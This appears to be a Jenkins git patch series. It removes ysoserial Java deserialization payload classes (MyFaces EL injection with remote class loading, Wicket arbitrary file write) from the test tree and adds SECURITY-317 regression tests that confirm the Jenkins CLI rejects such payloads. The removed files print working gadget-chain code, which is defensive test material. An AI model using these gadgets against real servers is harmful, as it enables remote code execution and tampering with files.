jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - - -/** - * - * ValueExpressionImpl.getValue(ELContext) - * ValueExpressionMethodExpression.getMethodExpression(ELContext) - * ValueExpressionMethodExpression.getMethodExpression() - * ValueExpressionMethodExpression.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - * - * Arguments: - * - an EL expression to execute - * - * Requires: - * - MyFaces - * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * - * @author mbechler - */ -@PayloadTest(skip="Requires running MyFaces, no direct execution") -public class Myfaces1 implements ObjectPayload, DynamicDependencies { - - public Object getObject ( String command ) throws Exception { - return makeExpressionPayload(command); - } - - - public static String[] getDependencies () { - if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "org.mortbay.jasper:apache-el:8.0.27", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } else if ( "juel".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } - - throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); - } - - public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { - FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); - ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); - Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); - ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - - ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); - ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); - ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); - - return Gadgets.makeMap(e2, e); - } - - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(Myfaces1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java deleted file mode 100644 index 1151493051..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java +++ /dev/null @@ -1,64 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - - -import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - - -/** - * - * ValueExpressionImpl.getValue(ELContext) - * ValueExpressionMethodExpression.getMethodExpression(ELContext) - * ValueExpressionMethodExpression.getMethodExpression() - * ValueExpressionMethodExpression.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - * - * Arguments: - * - base_url:classname - * - * Yields: - * - Instantiation of remotely loaded class - * - * Requires: - * - MyFaces - * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * - * @author mbechler - */ -@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) -public class Myfaces2 implements ObjectPayload, DynamicDependencies { - - public static String[] getDependencies () { - return Myfaces1.getDependencies(); - } - - - public Object getObject ( String command ) throws Exception { - int sep = command.lastIndexOf(':'); - if ( sep < 0 ) { - throw new IllegalArgumentException("Command format is: :"); - } - - String url = command.substring(0, sep); - String className = command.substring(sep + 1); - - // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ - String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; - - // if we add fewer than the actual classloaders we end up with a null entry - for ( int i = 0; i < 100; i++ ) { - expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; - } - expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" - + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; - - return Myfaces1.makeExpressionPayload(expr); - } - - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(Myfaces2.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java deleted file mode 100644 index 38b39c8671..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java +++ /dev/null @@ -1,111 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - -import java.io.File; -import java.io.IOException; -import java.io.OutputStream; -import java.util.Arrays; - -import org.apache.commons.codec.binary.Base64; -import org.apache.wicket.util.upload.DiskFileItem; -import org.apache.wicket.util.io.DeferredFileOutputStream; -import org.apache.wicket.util.io.ThresholdingOutputStream; - -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - - -/** - * This gadget is almost identical to FileUpload1 since it appears - * that Apache Wicket copied a version of Apache Commons DiskFileItem - * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That - * means that if the target is running less than Oracle Java 7 update 40 - * then the NULL byte attack is viable. Otherwise, copy and move attacks - * always work. - * - * This attack is valid for the 1.x and 6.x lines of Apache Wicket but - * was fixed in 1.5.16 and 6.24.0 (released July 2016). - * - * - * Arguments: - * - copyAndDelete;sourceFile;destDir - * - write;destDir;ascii-data - * - writeB64;destDir;base64-data - * - writeOld;destFile;ascii-data - * - writeOldB64;destFile;base64-data - * - * Example: - * Wicket1 "write;/tmp;blue lobster" - * - * Result: - * $ ls -l /tmp/ - * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * blue lobster - */ -@Dependencies({"wicket-util:wicket-util:6.23"}) -public class Wicket1 implements ReleaseableObjectPayload { - - public DiskFileItem getObject(String command) throws Exception { - - String[] parts = command.split(";"); - - if (parts.length != 3) { - throw new IllegalArgumentException("Bad command format."); - } - - if ("copyAndDelete".equals(parts[0])) { - return copyAndDelete(parts[1], parts[2]); - } - else if ("write".equals(parts[0])) { - return write(parts[1], parts[2].getBytes("US-ASCII")); - } - else if ("writeB64".equals(parts[0]) ) { - return write(parts[1], Base64.decodeBase64(parts[2])); - } - else if ("writeOld".equals(parts[0]) ) { - return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); - } - else if ("writeOldB64".equals(parts[0]) ) { - return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); - } - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); - } - - public void release(DiskFileItem obj) throws Exception { - } - - private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { - return makePayload(0, copyTo, copyAndDelete, new byte[1]); - } - - // writes data to a random filename (update__.tmp) - private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { - return makePayload(data.length + 1, dir, dir + "/whatever", data); - } - - // writes data to an arbitrary file - private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { - return makePayload(data.length + 1, file + "\0", file, data); - } - - private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { - // if thresh < written length, delete outputFile after copying to repository temp file - // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); - os.write(data); - Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); - Reflections.setFieldValue(diskFileItem, "dfos", dfos); - Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); - return diskFileItem; - } - - public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(FileUpload1.class, args); - } -} \ No newline at end of file -- GitLab From 3ba3a3220470107fd2dc0bb648bff6388783f5ab Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 18:06:43 -0500 Subject: [PATCH 320/712] Add entries for the new ysoserial tests and license headers --- .../jenkins/security/Security218CliTest.java | 79 ++++++++++++++++++- .../jenkins/security/security218/Payload.java | 20 +++-- .../security218/ysoserial/Deserializer.java | 24 ++++++ .../ysoserial/GeneratePayload.java | 24 ++++++ .../security218/ysoserial/Serializer.java | 23 ++++++ .../exploit/JRMPClassLoadingListener.java | 24 ++++++ .../ysoserial/exploit/JRMPClient.java | 24 ++++++ .../ysoserial/exploit/JRMPListener.java | 24 ++++++ .../security218/ysoserial/exploit/JSF.java | 24 ++++++ .../ysoserial/exploit/JenkinsCLI.java | 24 ++++++ .../ysoserial/exploit/JenkinsListener.java | 24 ++++++ .../ysoserial/exploit/JenkinsReverse.java | 24 ++++++ .../ysoserial/exploit/RMIRegistryExploit.java | 24 ++++++ .../ysoserial/payloads/CommonsBeanutils1.java | 24 ++++++ .../payloads/CommonsCollections3.java | 24 ++++++ .../payloads/CommonsCollections4.java | 24 ++++++ .../payloads/CommonsCollections5.java | 24 ++++++ .../payloads/CommonsCollections6.java | 24 ++++++ .../payloads/DynamicDependencies.java | 23 ++++++ .../ysoserial/payloads/FileUpload1.java | 24 ++++++ .../ysoserial/payloads/JRMPClient.java | 23 ++++++ .../ysoserial/payloads/JRMPListener.java | 24 ++++++ .../security218/ysoserial/payloads/JSON1.java | 24 ++++++ .../ysoserial/payloads/Jdk7u21.java | 23 ++++++ .../payloads/ReleaseableObjectPayload.java | 24 ++++++ .../ysoserial/payloads/Spring2.java | 23 ++++++ .../payloads/annotation/Dependencies.java | 23 ++++++ .../payloads/annotation/PayloadTest.java | 23 ++++++ .../secmgr/DelegateSecurityManager.java | 24 ++++++ .../secmgr/ExecCheckingSecurityManager.java | 24 ++++++ .../secmgr/ThreadLocalSecurityManager.java | 24 ++++++ 31 files changed, 781 insertions(+), 7 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 546cdc8fde..d2dbe56a6d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -45,7 +45,14 @@ public class Security218CliTest { @Rule public JenkinsRule r = new JenkinsRule(); - + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsBeanutils1() throws Exception { + probe(Payload.CommonsBeanutils1, PayloadCaller.EXIT_CODE_REJECTED); + } + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-218") @@ -61,6 +68,41 @@ public class Security218CliTest { // in newer commons-collections version => remoting implementation should filter this class anyway probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections3() throws Exception { + probe(Payload.CommonsCollections3, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections4() throws Exception { + probe(Payload.CommonsCollections4, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections5() throws Exception { + probe(Payload.CommonsCollections5, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeCommonsCollections6() throws Exception { + probe(Payload.CommonsCollections6, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeFileUpload1() throws Exception { + probe(Payload.FileUpload1, PayloadCaller.EXIT_CODE_REJECTED); + } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @@ -68,6 +110,34 @@ public class Security218CliTest { public void probeGroovy1() throws Exception { probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJdk7u21() throws Exception { + probe(Payload.Jdk7u21, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJRMPClient() throws Exception { + probe(Payload.JRMPClient, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJRMPListener() throws Exception { + probe(Payload.JRMPListener, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeJSON1() throws Exception { + probe(Payload.JSON1, PayloadCaller.EXIT_CODE_REJECTED); + } //TODO: Fix the conversion layer (not urgent) // There is an issue in the conversion layer after the migration to another XALAN namespace @@ -78,6 +148,13 @@ public class Security218CliTest { public void probeSpring1() throws Exception { probe(Payload.Spring1, -1); } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-317") + public void probeSpring2() throws Exception { + probe(Payload.Spring2, -1); + } private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index 43dc97a995..ea3c30b8ac 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -23,11 +23,8 @@ */ package jenkins.security.security218; -import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; -import jenkins.security.security218.ysoserial.payloads.CommonsCollections2; -import jenkins.security.security218.ysoserial.payloads.Groovy1; -import jenkins.security.security218.ysoserial.payloads.ObjectPayload; -import jenkins.security.security218.ysoserial.payloads.Spring1; +import jenkins.security.security218.ysoserial.payloads.*; +import net.sf.json.JSON; /** @@ -35,10 +32,21 @@ import jenkins.security.security218.ysoserial.payloads.Spring1; * @author Oleg Nenashev */ public enum Payload { + CommonsBeanutils1(CommonsBeanutils1.class), CommonsCollections1(CommonsCollections1.class), CommonsCollections2(CommonsCollections2.class), + CommonsCollections3(CommonsCollections3.class), + CommonsCollections4(CommonsCollections4.class), + CommonsCollections5(CommonsCollections5.class), + CommonsCollections6(CommonsCollections6.class), + FileUpload1(FileUpload1.class), Groovy1(Groovy1.class), - Spring1(Spring1.class); + Jdk7u21(Jdk7u21.class), + JRMPClient(JRMPClient.class), + JRMPListener(JRMPListener.class), + JSON1(JSON1.class), + Spring1(Spring1.class), + Spring2(Spring2.class); private final Class payloadClass; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java index 87f947d004..a74c904d79 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial; import java.io.ByteArrayInputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java index ce33b97ae3..d1716e3f7a 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial; import java.io.PrintStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java index e508fa6420..f75dcc3030 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial; import java.io.ByteArrayOutputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java index 4e26316f26..477b66f84d 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java index 6e95b3691b..3b4204cca5 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java index 9869a0820c..43f5a0ba2f 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java index 84b6ca63b5..b9c24165b8 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java index 0ff47e8257..ffbcdc7ca3 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; import java.io.DataOutputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java index 168d17573c..ba4b5316ae 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java index 99b7fdde4d..3aba829fe0 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * 